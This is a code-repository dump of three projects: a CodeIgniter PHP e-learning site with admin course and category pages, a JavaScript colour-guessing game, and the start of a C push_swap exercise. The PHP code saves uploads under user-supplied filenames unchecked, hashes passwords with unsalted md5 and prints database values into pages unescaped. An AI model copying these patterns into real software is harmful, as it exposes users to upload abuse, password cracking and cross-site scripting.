$uploade_file=$selected_data["pdf_path"]; } else{ $uploade_file=$_FILES["file"]["name"]; $filedest='public/uploads/' . $uploade_file; move_uploaded_file($_FILES["file"]["tmp_name"], "../public/uploads/" .$_FILES["file"]["name"]); $save_path="C:/wamp64/www/e_learning/" . $filedest; }//end else $obj->edit($title,$desc,$vlink,$Ilink,$uploade_file,$coursecat,$isHide,$date,$cid); echo true; } }//end if post } //_____________________________________________________________________________________________________________________________ public function delete(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $id = $this->request->getPost('id'); $obj=new coursesModel(); $data=$obj->deleteCourse($id); echo $data; } } //_______________________________________________________________________________________________________ public function getdata(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $courseid = $this->request->getPost('cid'); $obj=new coursesModel(); $selected_data=$obj->getCourseRow($courseid); echo json_encode($selected_data);; } } } ?><file_sep><?php namespace App\Controllers; namespace App\Controllers\Users; use App\Controllers\BaseController; use App\Models\coursesModel; class singleCategory extends BaseController { public function index() { $categoryid= $this->request->getGet('categoryid'); $categorytitle= $this->request->getGet('categorytitle'); $limitnum=$this->request->getGet('limitnum'); $sortorder=$this->request->getGet('sortorder'); $sortby=$this->request->getGet('sortby'); $offsetval=$this->request->getGet('offsetval'); if($limitnum==null)$limitnum=10; if($sortorder==null)$sortorder='DESC'; if($sortby==null)$sortby='date'; if($offsetval==null)$offsetval=0; $obj=new coursesModel(); $selected_data['courses']=$obj->scoursesInCategory($categoryid,$limitnum,$sortorder,$sortby,$offsetval); $count_of_rows=$obj->countofrowsincategory($categoryid); $selected_data['count_of_page']=ceil($count_of_rows/$limitnum); $this->loadview('Users/courses',$categorytitle,$selected_data); } } ?><file_sep><?php echo view('Views/Admin/adminlayout');?> <div class="body-content"> <!--________________________________________________________________________________________________________________--> <!-- Button trigger modal for add new category --> <a type="button" class="col-12 nav-link text-center nav-custom-link nav-link-bc addcat" data-toggle="modal" addcat data-target="#categorymodal"> Add new Category </a> <!--________________________________________________________________________________________________________________--> <!--list categories--> <div class="table-res" > <table class="w-100 mt-2"> <thead class="categories-table-thead"> <tr> <th class="d-none">ID</th> <th class="">Name</th> <th class="">is show</th> <th class="">Edit</th> <th class="">Delete</th> </tr> </thead> <tbody > <?php foreach ($Categories as $category) { ?> <tr class="categories-table-row" id="<?php echo $category["categoryid"]; ?>"> <td class="d-none" ><?php echo $category["categoryid"]; ?></td> <td class="" ><?php echo $category["category_name"]; ?></td> <td class=""><?php if($category["is_show"]==1)echo 'yes'; else echo 'no'; ?></td> <td class=""> <a type="button" class="editcat fas fa-edit nav-link text-center nav-custom-link nav-link-bc" data-toggle="modal" data-target="#categorymodal"> </a> </td> <td class=""> <a role="button" class=" delete fas fa-trash nav-link nav-custom-link nav-link-bc" > </a> </td> </tr> <?php }?> </tbody> </table> </div> <!--______________________________________________________________________________________________________________________--> <div class="modal fade" id="categorymodal" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="EditNewCategory" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content custom-modal "> <div id="message" class=" mt-2 text-success text-center message"></div> <div id="name_error" class="text-danger text-center mt-2 name_error"></div> <div class="m-header text-center pt-3"> <h5 class="modal-title lbl" id="title"></h5> </div> <form id="contact_form"> <div class="m-body p-5 text-center"> <div class="form-group"> <div class="input-group mb-3"> <div class="input-group-prepend lbl"> <span class="input-group-text required " id="basic-addon2">Category Name</span> </div> <input type="text" class="form-control catname "placeholder="Category name" name="catname" id="catname"> </div> </div> <div class="form-group"> <div class="input-group mb-3"> <div class="custom-control custom-switch "> <input class="form-check-input show" name="catshow" type="checkbox" id="show" > <label class="form-check-label lbl" for="show" >show in public website</label> </div> </div> </div> <input type="text" class="form-control catid " id="catid"> </div> <div class="m-footer pb-5 text-center"> <button type="submit"class="btn cls " data-dismiss="modal" onclick="javascript:window.location.reload()">Close</button> <button type="button" class="btn save add" name="add" id="add" >Save Add</button> <button type="button" class="btn save edit" name="edit" id="edit" >Save edit</button> </div> </form> </div> </div> </div> <!--__________________________________________________________________________________________________________________--> <script> //delet row fromtable and database ................................ $(".delete").click(function(){ var catid = $(this).parents("tr").attr("id"); if(confirm('Are you sure to delete this record ?')) { $.ajax({ url: "<?php echo base_url('Admin/categories/delete'); ?>", type: 'post', data:{categoryid:catid,}, error: function() { alert('not send'); }, success: function(data) { if(data){ $("#"+catid).remove(); alert("Record removed successfully"); } else alert("you cant delete this category "); } }); } }); //__________________________________________________________________________________________________________________ //get data to be edit and hide save button ................................. $(".editcat").click(function(){ var save = document.getElementById("add"); save.style.display = "none"; var catId = document.getElementById("catid"); catId.style.display = "none"; $('#title').html("Edit Category"); var catid = $(this).parents("tr").attr("id"); $('.modal .catid').val(catid); $.ajax({ url: "<?php echo base_url('Admin/categories/getdata'); ?>", type: 'post', data:{categoryid:catid,}, error: function() { alert('error'); }, success: function(data) { var array = JSON.parse(data) $('.modal .catname').val(array["category_name"]); if(array["is_show"]!=0) $('.modal .show').attr('checked', true) } }); }); //-------------------------------------------------------------------------------------------------------- $('.edit').click(function() { event.preventDefault(); var catid=$('.catid').val(); var catname=$('.catname').val(); var isHide; if($('#show').is(':checked')){ isHide='on'; }else isHide='off' $.ajax({ type: 'POST', url:"<?php echo base_url('Admin/categories/edit');?>" , data: { categoryid:catid, catname:catname, catshow:isHide, }, success: function(issuccess) { if(issuccess==true){ $('.message').html("Updated Successfully"); $('.name_error').html(''); } else{ $('.name_error').html(issuccess); $('.message').html(''); } }, error: function(){alert('not sent');}, });//end ajax });//end onclik //_____________________________________________________________________________________________ //hide edit button when click save button $(".addcat").click(function(){ var x = document.getElementById("edit"); x.style.display = "none"; var catId = document.getElementById("catid"); catId.style.display = "none"; $('#title').html("Add Category"); }); //-------------------------------------------------------------------------------------------------------- $('.add').click(function() { event.preventDefault(); var cname=$('.catname').val().trim(); var isHide; if($('.show').is(':checked')){ isHide='on'; }else isHide='off' $.ajax({ type: 'POST', url:"<?php echo base_url('Admin/categories/add');?>" , data: { catname:cname, catshow:isHide, }, success: function(issuccess) { if(issuccess==true){ $('.message').html("Added Successfully "); $('.name_error').html(''); } else{ $('.name_error').html(issuccess); $('.message').html('') } }, error: function(){alert('not sent');}, });//end ajax });//end onclik //_______________________________________________________________________________________________________________________ </script> <file_sep><div class="body-content"> <!--_________________________________________________________________________________________________________________________--> <?php echo view('Views/shared/Register');?> <!--_____________________________________________________________________________________________________________________---> </div> <!--_________________________________________________________________________________________--> <script> $(".userRegister").click(function(){ var x = document.getElementById("edit"); x.style.display = "none"; var catId = document.getElementById("userid"); catId.style.display = "none"; $('#title').html("Rigister"); var toggle=document.getElementById("tog"); toggle.style.display = "none"; }); //_________________________________________________________________________________________________________ //add user same as in admin add without toggle; //do client validation //sent email welcom to user //________________________________________________________________________________________________ $(".userRegister").click(function(){ newUser(2,"Youre regustration will be approved soon "); }); //_______________________________________________________________________________________________ </script><file_sep><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>E-Learning</title> <link href="<?php echo base_url('assets/css/elearning.css'); ?>" rel="stylesheet" /> <link href="<?php echo base_url('assets/css/elearningadminnnnnnnnnn.css'); ?>" rel="stylesheet" /> <link href="<?php echo base_url('assets/css/fontawesome.min.css'); ?>" rel="stylesheet" /> <link rel="shortcut icon" href="<?php echo base_url('assets/images/elogo.png'); ?>" /> <script src="<?php echo base_url('assets/js/jquery-3.6.0.min.js'); ?>" crossorigin="anonymous"></script> <?php if ($css) : ?> <link rel="stylesheet" href="<?php echo base_url($css); ?>"> <?php endif; ?> </head> <body class="light-b"> <nav class="col-12 navbar navbar-expand-md navbar-light nav-bc fixed-top"> <a class="navbar-brand text-left p-0 h-100 " href="<?php echo base_url('Home'); ?>"> <img class=" h-100 " src="<?php echo base_url('assets/images/enavlogo.png'); ?>"> </a> <button class="navbar-toggler " type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav ml-auto "> <?php if (session('adminlayout')) : ?> <li class="nav-item"><a class="nav-link nav-custom-link set-item-center bg-light" href="<?php echo base_url('Admin/Users/newUsers'); ?>">New accounts</a></li> <?php endif; ?> <?php if (!session('adminlayout')) : ?> <li class="nav-item"><a class="nav-link nav-custom-link set-item-center" href="<?php echo base_url('Home'); ?>">Home</a></li> <?php $limitnum = "10" ;$sortorder='DESC';$sortby='date';?> <li class="nav-item"><a class="nav-link nav-custom-link set-item-center courselink ">Courses</a></li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle nav-custom-link set-item-center " id="userDropdown" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Categories</a> <div class="dropdown-menu dropdown-menu-right drop-down-list" aria-labelledby="userDropdown"> <?php foreach ($Categories as $category) { ?> <?php $catid=$category["categoryid"]; $cattitle=$category["category_name"];?> <a class="dropdown-item nav-custom-link drop-down-list-item categorylink" catid="<?php echo $catid; ?>" cattitle="<?php echo $cattitle; ?>" > <?php echo $category["category_name"]; ?></a> <?php }?><!--pass category id to single category page --> </div> </li> <?php endif; ?> <?php if (!session('login')) : ?> <li class="nav-item"> <a type="button" class="nav-link nav-custom-link set-item-center" data-toggle="modal" data-target="#login" id="log" > login </a> </li> <li class="nav-item"> <a type="button" class="nav-link text-center nav-custom-link nav-link-bc set-item-center userRegister" data-toggle="modal" data-target="#register" id="reg"> Sign up </a> </li> <?php endif; ?> <?php if (session('login')) : ?> <li class="bg-secondary"> <a type="button" class="nav-link nav-custom-link text-dark set-item-center" > <?php echo session('uname');?> </a> </li> <li class="bg-secondary"> <a class="nav-link dropdown-toggle nav-custom-link set-item-center text-dark " id="userDropdown" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fas fa-user"></i></a> <div class="dropdown-menu dropdown-menu-right drop-down-list" aria-labelledby="userDropdown"> <a class="dropdown-item nav-custom-link drop-down-list-item text-dark" > <i class="fas fa-user"></i> profile </a> <a class="dropdown-item nav-custom-link drop-down-list-item text-dark" href="<?php echo base_url('Home/logout'); ?>"> <i class="fas fa-sign-out-alt"></i> logout </a> </div> </li> <?php endif; ?> </ul> </div> </nav> <!--________________________________________________________________________________________--> <!-- Navbar Search--> <?php if (!session('adminlayout')) : ?> <div class="row d-flex justify-content-center search-bar pb-3 mr-0 ml-0" > <div class="col-4 pr-0 pt-3"id="search"> <form class=""> <div class="input-group w-100" > <input class="form-control search-form searchin"type="text" placeholder="Search for..." aria-label="Search" aria-describedby="basic-addon2" /> <div class="input-group-append w-25 "> <button type="button" class=" btn w-100 ml-auto search-btn searchbtn" type="button" id="searchbtn"><i class="fas fa-search"></i></button> </div> </div> </form> </div> </div> <!--end navbarsearch--> <?php endif; ?> <!--end topnav--> <main class="mb-5 mt-5"> <div class="container-fluid "> <div class="row"> <div class="col-12 text-center pagetitle"> <h1 class="my-4 c-blue"><?php echo $page_title; ?></h1> </div> </div> <?php echo view($view_file, $controller_data); ?> </div> </main> <footer class="py-4 dark-blue mt-5 mt-5 "> <div class="container-fluid"> <div class="d-flex align-items-center justify-content-center small"> <div class="text-muted">Copyright &copy; Your Website 2021</div> <div> <a href="#">Privacy Policy</a> &middot; <a href="#">Terms &amp; Conditions</a> </div> </div> </div> </footer> <script src="<?php echo base_url('assets/js/bootstrap.bundle.min.js'); ?>" crossorigin="anonymous"></script> <script src="<?php echo base_url('assets/js/admin.js'); ?>"></script> <?php if ($js) : ?> <script src="<?php echo base_url($js); ?>"></script> <?php endif; ?> <!--____________________________________________________________________________________________________________--> <div class="modal fade" id="register" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="users" aria-hidden="true"> <?php echo view('Views/Users/Register');?> </div> <!--_________________________________________________________________________________________________________________________--> <div class="modal fade" id="login" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="users" aria-hidden="true"> <?php echo view('Views/shared/login');?> </div> <!--_________________________________________________________________________________________________________----> </body> </html> <!--__________________________________________________________________________________________________________---> <script> $(".searchbtn").click(function(){ var coursetitle=$('.searchin').val().trim(); $.ajax({ url:"<?php echo base_url('Home/search');?>", type: 'post', data:{ title:coursetitle, }, success: function(data) { var array = JSON.parse(data); if(array==null) alert("Your search did not match any course title. Please make sure that all words are spelled correctly ."); else { window.location.href ="http://e-learning.test/Users/singleCourse/index?courseid="+array["course_id"]+"&coursetitle="+array["title"]+"&categoryid="+array["categoryid"]; } }, error: function() { alert('not send'); }, }); }); //___________________________________________________________________________________________________________________ $(".courselink").click(function(){ localStorage.setItem('fromcategory',1); localStorage.setItem('pagenum',1); localStorage.setItem('limitnum',10); localStorage.setItem('sortby','date'); localStorage.setItem('sortype','DESC'); localStorage.setItem('limitval',2); localStorage.setItem('sorttype',3); seturl() }); function seturl(){ var selectedlimit=localStorage.getItem('limitnum'); var pagenum =localStorage.getItem('pagenum') var selectedsortby=localStorage.getItem('sortby'); var selectedsorttype=localStorage.getItem('sortype');pagenum if(selectedlimit==null){selectedlimit=10}; if(selectedsortby==null)selectedsortby='date'; if(selectedsorttype==null)selectedsorttype='DESC'; if(pagenum==null){offset=0;} else{ if(selectedlimit==null) offset=0; else offset=selectedlimit*(pagenum-1);} window.location.href ="http://e-learning.test/Users/courses/index?limitnum="+selectedlimit+"&sortby="+selectedsortby+"&sortorder="+selectedsorttype+"&offsetval="+offset; } //____________________________________________________________________________________________________________________________ $(".categorylink").click(function(){ localStorage.setItem('fromcategory',2); localStorage.setItem('pagenum',1); localStorage.setItem('limitnum',10); localStorage.setItem('sortby','date'); localStorage.setItem('sortype','DESC'); localStorage.setItem('limitval',2); localStorage.setItem('sorttype',3); var cattitle=$(this).attr("cattitle"); var catid=$(this).attr("catid"); localStorage.setItem('catid',catid); localStorage.setItem('cattitle',cattitle); setcategoryurl(catid,cattitle); }); function setcategoryurl(catid,cattitle){ var selectedlimit=localStorage.getItem('limitnum'); var pagenum =localStorage.getItem('pagenum') var selectedsortby=localStorage.getItem('sortby'); var selectedsorttype=localStorage.getItem('sortype');pagenum if(selectedlimit==null){selectedlimit=10}; if(selectedsortby==null)selectedsortby='date'; if(selectedsorttype==null)selectedsorttype='DESC'; if(pagenum==null){offset=0;} else{ if(selectedlimit==null) offset=0; else offset=selectedlimit*(pagenum-1); } window.location.href ="http://e-learning.test/Users/singleCategory/index?limitnum="+selectedlimit+"&sortby="+selectedsortby+"&sortorder="+selectedsorttype+"&offsetval="+offset+"&categoryid="+catid+"&categorytitle="+cattitle; } //________________________________________________________________________________________________________________ </script> <file_sep><?php namespace App\Models; use CodeIgniter\Model; class UsersModel extends Model { public function __construct() { $this->db = \Config\Database::connect(); $this->builder = $this->db->table('users'); } //_____________________________________________________________________________________________________________________________________________ public function selectallUsers(){ $this->builder->where('is_admin',0); return $this->builder->get()->getResultArray(); } //_____________________________________________________________________________________________________________________________________________________ public function add($fname,$lname,$email,$pwd,$suspend,$admin,$not_approveed){ if($suspend =='on') { $suspend=1;} else{$suspend=0;} $array = [ 'email' => $email, 'fname' => $fname, 'is_admin' => $admin, 'is_suspend' => $suspend, 'lname ' => $lname, 'password' => <PASSWORD>, 'not_approved' => $not_approveed, ]; $this->builder->insert($array); }//end add ///____________________________________________________________________________________________________________________ public function getuserRow($uid){ $this->builder->where('id', $uid); $data=$this->builder->get()->getRowArray(); return $data; } //___________________________________________________________________________ public function edituser($uid,$fname, $lname,$email,$password,$suspend){ if($suspend =='on') { $suspend=1;} else{ $suspend=0; } $array = [ 'id' => $uid, 'fname' => $fname, 'lname' => $lname, 'email' => $email, 'password' => $<PASSWORD>, 'is_suspend' => $suspend, ]; $this->builder->where('id', $uid); $this->builder->update($array); } //__________________________________________________________________________________________________ public function login($user_email,$user_pwd){ $this->builder->where('email', $user_email); if($this->builder->get()->getRowArray()){ $this->builder->where('email', $user_email); $epassword=md5($user_pwd); $this->builder->where('password', $<PASSWORD>); if($this->builder->get()->getRowArray()){ $this->builder->where('email', $user_email); $epassword=md5($user_pwd); $this->builder->where('password', $epassword); $this->builder->where('is_suspend', 0); if($this->builder->get()->getRowArray()){ $this->builder->where('email', $user_email); $epassword=md5($user_pwd); $this->builder->where('password', $<PASSWORD>); $this->builder->where('is_suspend', 0); $data=$this->builder->get()->getRowArray(); $data["err"]=0; return $data; //success login } else{ //is suspend $data["err"]=1; return $data; } }else{//error in pwd $data["err"]=2; return $data; } }else{//error in email $data["err"]=3; return $data; } } //___________________________________________________________________________________________________ public function selectnewusers(){ $this->builder->where('not_approved',1); return $this->builder->get()->getResultArray(); } //____________________________________________________________________________________________ public function approveAccount($uid){ $this->builder->set('is_suspend',"0"); $this->builder->set('not_approved',"0"); $this->builder->where('id', $uid); return $this->builder->update(); //send welcome message; } //_______________________________________________________________________________________________ } ?>
1b4fb5cc8813d553216cbb90ecf8c4d70da54657
[ "PHP" ]
20
PHP
Atheer5/e-learning-website
8fb96f265f9097aae1201a7d4be3647501146228
38d067dc4da0abe020a34e870b0ed38103f9c447
refs/heads/master
<repo_name>tjstankus/fuzzyunits<file_sep>/app/routes/base.rb module FocusUnits module Routes class Base < Sinatra::Application configure do set :views, 'app/views' end end end end <file_sep>/app.rb require 'bundler' Bundler.require require 'dotenv' Dotenv.load require 'sinatra/base' $:.unshift File.dirname(__FILE__) require 'app/routes/activities' module FocusUnits class App < Sinatra::Application configure :development, :test do set :db, Sequel.connect( adapter: 'postgres', host: 'localhost', database: "focusunits_sinatra_#{environment}", user: ENV['DB_USERNAME'], password: ENV['<PASSWORD>']) end use Routes::Activities end end <file_sep>/notes.md FocusUnits Sinatra ================== A spike to get to something usable, backed by Trello. Tools ----- - Trello - Sinatra - Opal - Sequel - Postgres - Heroku Reading ------- Structuring Sinatra Applications https://www.evernote.com/shard/s3/nl/690505/677bdec0-7bae-4d6b-b84b-4e9b9d0d59d4/ Zero to smoke test with Sinatra https://www.evernote.com/shard/s3/nl/690505/f6c58b96-9951-4490-9fa9-d38d70514032/ Initial setup ------------- Copied some stuff (but not all of it) from ~/code/spikes/trevi-spike which is an app generated via `trevi trevi-spike`. <file_sep>/app/routes/activities.rb require_relative 'base' module FocusUnits module Routes class Activities < Base get '/' do 'Hello from FocusUnits!' end end end end <file_sep>/config.ru require './app' run FocusUnits::App <file_sep>/Gemfile source "https://rubygems.org" ruby '2.1.5' gem 'sinatra', require: 'sinatra/base' gem 'rake' gem 'dotenv' # DB gem 'sequel' gem 'pg'
dd800040d3aa261bc04db692c3d4447c963105dc
[ "Markdown", "Ruby" ]
6
Ruby
tjstankus/fuzzyunits
72649827d117f27effc9b76cfdc9811d824d9c31
2c0c1e0f25df287efc8d42ff389522cc0570dc82
refs/heads/master
<file_sep>package lt.kaunascoding.controller; import javafx.event.ActionEvent; import javafx.scene.control.Button; import javafx.scene.control.TextArea; import lt.kaunascoding.model.DBSingleton; public class Controller { public Button button1; public TextArea isvedimoLaukas; public void handleButton1(ActionEvent actionEvent) { String uzklausa = "SELECT * FROM `Students` ORDER BY `name` ASC;"; String atsakymas = DBSingleton.getInstance().printQueryResult(uzklausa); isvedimoLaukas.appendText(atsakymas + "\n"); } }
003e503f0243b8a26a96c824a2b38f9294392d63
[ "Java" ]
1
Java
RIAwolf/JDBC_MetaData
4f14718294c438b23210552562cd16be4b28a100
e987c67753530dac0183b010595f0922a4913676
refs/heads/master
<file_sep><?php if (!isset($_POST['input_type'])) die("Error: missing input type"); $input_type = $_POST['input_type']; if (!in_array($input_type, ["hex", "rgb", "hsl", "hsv", "cymk"])) die("Error: invalid input type"); switch ($input_type) { case "hex": if (!isset($_POST['hex'])) die("Error: missing hex data"); $hex = $_POST['hex']; // TODO echo "0"; break; default: // code... break; } ?> <file_sep>function hex_to_rgb(hex) { // hex string should not contain # r = parseInt(hex.substring(0, 2), 16); g = parseInt(hex.substring(2, 4), 16); b = parseInt(hex.substring(4), 16); return [r,g,b]; } function rgb_to_hex(rgb) { r = (rgb[0]%256).toString(16); g = (rgb[1]%256).toString(16); b = (rgb[2]%256).toString(16); if (r.length == 1) r = "0"+r; if (g.length == 1) g = "0"+g; if (b.length == 1) b = "0"+b; return (r+g+b).toUpperCase(); } function cymk_to_rgb(cymk) { c = cymk[0]; y = cymk[1]; m = cymk[2]; k = cymk[3]; r = 255 * ( 1 - c / 100 ) * ( 1 - k / 100 ); g = 255 * ( 1 - m / 100 ) * ( 1 - k / 100 ); b = 255 * ( 1 - y / 100 ) * ( 1 - k / 100 ); return [r,g,b]; } function hsv_to_hsl(hsv) { h = hsv[0]/360; s = hsv[1]/100; v = hsv[2]/100; // both hsv and hsl values are in [0, 1] var l = (2 - s) * v / 2; if (l != 0) { if (l == 1) { s = 0; } else if (l < 0.5) { s = s * v / (l * 2); } else { s = s * v / (2 - l * 2); } } return [h*360, s*100, l*100]; } function hsl_to_rgb(hsl) { h = hsl[0]/360; s = hsl[1]/100; l = hsl[2]/100; var r, g, b; if (s == 0) { r = g = b = l; // achromatic } else { function hue2rgb(p, q, t) { if (t < 0) t += 1; if (t > 1) t -= 1; if (t < 1/6) return p + (q - p) * 6 * t; if (t < 1/2) return q; if (t < 2/3) return p + (q - p) * (2/3 - t) * 6; return p; } var q = l < 0.5 ? l * (1 + s) : l + s - l * s; var p = 2 * l - q; r = hue2rgb(p, q, h + 1/3); g = hue2rgb(p, q, h); b = hue2rgb(p, q, h - 1/3); } return [ r * 255, g * 255, b * 255 ]; } // https://github.com/antimatter15/rgb-lab/blob/master/color.js function rgb_to_lab(rgb) { r = rgb[0] / 255; g = rgb[1] / 255; b = rgb[2] / 255; var x, y, z; r = (r > 0.04045) ? Math.pow((r + 0.055) / 1.055, 2.4) : r / 12.92; g = (g > 0.04045) ? Math.pow((g + 0.055) / 1.055, 2.4) : g / 12.92; b = (b > 0.04045) ? Math.pow((b + 0.055) / 1.055, 2.4) : b / 12.92; x = (r * 0.4124 + g * 0.3576 + b * 0.1805) / 0.95047; y = (r * 0.2126 + g * 0.7152 + b * 0.0722) / 1.00000; z = (r * 0.0193 + g * 0.1192 + b * 0.9505) / 1.08883; x = (x > 0.008856) ? Math.pow(x, 1/3) : (7.787 * x) + 16/116; y = (y > 0.008856) ? Math.pow(y, 1/3) : (7.787 * y) + 16/116; z = (z > 0.008856) ? Math.pow(z, 1/3) : (7.787 * z) + 16/116; return [(116 * y) - 16, 500 * (x - y), 200 * (y - z)] } function deltaE(labA, labB){ var deltaL = labA[0] - labB[0]; var deltaA = labA[1] - labB[1]; var deltaB = labA[2] - labB[2]; var c1 = Math.sqrt(labA[1] * labA[1] + labA[2] * labA[2]); var c2 = Math.sqrt(labB[1] * labB[1] + labB[2] * labB[2]); var deltaC = c1 - c2; var deltaH = deltaA * deltaA + deltaB * deltaB - deltaC * deltaC; deltaH = deltaH < 0 ? 0 : Math.sqrt(deltaH); var sc = 1.0 + 0.045 * c1; var sh = 1.0 + 0.015 * c1; var deltaLKlsl = deltaL / (1.0); var deltaCkcsc = deltaC / (sc); var deltaHkhsh = deltaH / (sh); var i = deltaLKlsl * deltaLKlsl + deltaCkcsc * deltaCkcsc + deltaHkhsh * deltaHkhsh; return i < 0 ? 0 : Math.sqrt(i); } <file_sep><!DOCTYPE html> <?php if (!isset($_GET["input_type"])) { $input_type = "hex"; } else { $input_type = $_GET["input_type"]; if (!in_array($input_type, ["hex", "rgb", "hsl", "hsv", "cymk"])) { $input_type = "hex"; } } if (isset($_GET['preview'])) $preview = true; else $preview = false; ?> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Guess the colour</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <script src="colours.js" charset="utf-8"></script> <style> #colour_show, #preview { height: 5em; width: 10em; margin-top: 2.5em; margin-bottom: 2em; border: 5px outset gray; display: inline-block; } input.short { width: 2em; } input.wide { width: 4em; } section { margin: 0.5em; } #input_type_select { text-align: left; display: inline-block; } button { display: block; margin: 1em; padding: 0.5em 1em; } .result p { display: inline; line-height: 2.5em; } .result strong { margin: 0 0.5em; } .result .colour_preview { height: 2em; width: 2.5em; display: inline-block; position: relative; top: 0.5em; } </style> </head> <body> <a href="index.php">&larr;&nbsp;Back</a> <center> <form id="myForm" onsubmit="return false;"> <h1>What colour is this?</h1> <div id="colour_show"></div> <?php if ($preview) echo '<div id="preview"></div>'; ?> </section> <?php echo '<section class="input_type">'; if ($input_type == "hex") { echo '<label for="hex">#</label>' .'<input class="wide" onkeyup="updatePreview()" type="text" name="hex" value="" id="'.$input_type.'">'; } else { foreach (str_split($input_type,1) as $c) { echo '<label for="'.$c.'">'.strtoupper($c).'</label>' .'<input class="short" onkeyup="updatePreview()" type="text" name="'.$c.'" value="" id="'.$c.'"> '; } } ?> </section> <!--<input type="hidden" name="input_type" value="<?php echo $input_type ?>">--> <button type="submit" onclick="check();">OK</button> </form> <div id="results"></div> <script> function addResult(de, target, yours) { target_label = document.createElement("p"); <?php if ($input_type == "hex") echo 'target_label.innerText = "(#"+target+") Target :";'; elseif ($input_type == "rgb") { echo 'rgb = hex_to_rgb(target);'; echo 'target_label.innerText = "("+rgb[0]+","+rgb[1]+","+rgb[2]+") Target :";'; } else echo 'target_label.innerText = "Target :";'; ?> target_preview = document.createElement("div"); target_preview.classList.add("colour_preview"); target_preview.style.backgroundColor = "#"+target; delta = document.createElement("strong"); delta.innerText = Math.round(de); yours_preview = document.createElement("div"); yours_preview.classList.add("colour_preview"); yours_preview.style.backgroundColor = "#"+yours; yours_label = document.createElement("p"); <?php if ($input_type == "hex") echo 'yours_label.innerText = ": Yours (#"+yours+")";'; elseif ($input_type == "rgb") { echo 'rgb = hex_to_rgb(yours);'; echo 'yours_label.innerText = ": Yours ("+rgb[0]+","+rgb[1]+","+rgb[2]+")";'; } else echo 'yours_label.innerText = ": Yours";'; ?> result = document.createElement("div"); result.classList.add("result"); result.appendChild(target_label); result.appendChild(target_preview); result.appendChild(delta); result.appendChild(yours_preview); result.appendChild(yours_label); document.getElementById("results").appendChild(result); } window.onload = function() { newColour(); } function newColour() { colour = Math.random().toString(16).substr(2,6); document.getElementById('colour_show').style.backgroundColor = '#'+colour; } function updatePreview() { <?php if (!$preview) echo "/* TODO: add preview feature.. */"; else { echo 'currentColour = rgb_to_hex(getCurrentColour()); '; echo 'document.getElementById("preview").style.backgroundColor = "#"+currentColour;'; } ?> } function getCurrentColour() { <?php if ($input_type == "hex") { echo 'hex = document.getElementById("hex").value;'; echo 'rgb = hex_to_rgb(hex);'; } elseif ($input_type == "rgb") { echo 'r = document.getElementById("r").value;'; echo 'g = document.getElementById("g").value;'; echo 'b = document.getElementById("b").value;'; echo 'rgb = [r,g,b];'; } elseif ($input_type == "hsl") { echo 'h = document.getElementById("h").value;'; echo 's = document.getElementById("s").value;'; echo 'l = document.getElementById("l").value;'; echo 'rgb = hsl_to_rgb([h,s,l]);'; } elseif ($input_type == "hsv") { echo 'h = document.getElementById("h").value;'; echo 's = document.getElementById("s").value;'; echo 'v = document.getElementById("v").value;'; echo 'rgb = hsl_to_rgb(hsv_to_hsl([h,s,v]));'; } elseif ($input_type == "cymk") { echo 'c = document.getElementById("c").value;'; echo 'y = document.getElementById("y").value;'; echo 'm = document.getElementById("m").value;'; echo 'k = document.getElementById("k").value;'; echo 'rgb = cymk_to_rgb([c,y,m,k]);'; } ?> return rgb; } function check() { /* $.ajax({ url: '/verify.php', type: 'post', data: $('#myForm').serialize(), success: function(data) { alert(data); } });*/ selected = rgb_to_lab(getCurrentColour()); target = rgb_to_lab(hex_to_rgb(colour)); de = deltaE(target, selected); addResult(de, colour, rgb_to_hex(rgb)); newColour(); return false; } function setInput(type) { inputs = document.getElementsByClassName('input_type') for (i of inputs) { i.style.display = "none"; } document.getElementById(type).style.display = "block"; } </script> </center> </body> </html> <file_sep># guess_the_colour Guess the hex of a given colour
2b5470b080c14a0e9f4c140d42728ea6dc18cf66
[ "JavaScript", "Markdown", "PHP" ]
4
PHP
plojyon/guess_the_colour
2c1af3517580f9d24caf514c184f39b9ecf7646e
5d9a5512efcf8253ec56972b9f5160a31097961f
refs/heads/master
<file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* init_stack.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: skharjo <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/29 18:04:50 by skharjo #+# #+# */ /* Updated: 2021/07/29 18:04:52 by skharjo ### ########.fr */ /* */ /* ************************************************************************** */ #include "pushswap.h" static int *str_add_value(int **a, int size, int num) { int *new; int i; new = ft_calloc(sizeof(int), (size + 1)); i = size; if (!new) exit(EXIT_FAILURE); if (*a) { while (i > 0) { new[i] = (*a)[i - 1]; i--; } } new[i] = num; free(*a); *a = new; return (*a); } void init_stacks(char **argv, t_stack *a, t_stack *b) { char **split; char **tmp; a->size = 0; a->arr = NULL; split = NULL; argv++; while (*argv) { split = ft_split(*argv, ' '); tmp = split; while (*split) { check_args(*split); a->arr = str_add_value(&a->arr, a->size, ft_atoi(*split)); a->size++; split++; } str_array_free(&tmp); argv++; } b->arr = ft_calloc(sizeof(int), a->size); b->size = 0; if (!b->arr) exit(EXIT_FAILURE); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* str_array_add_back.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ 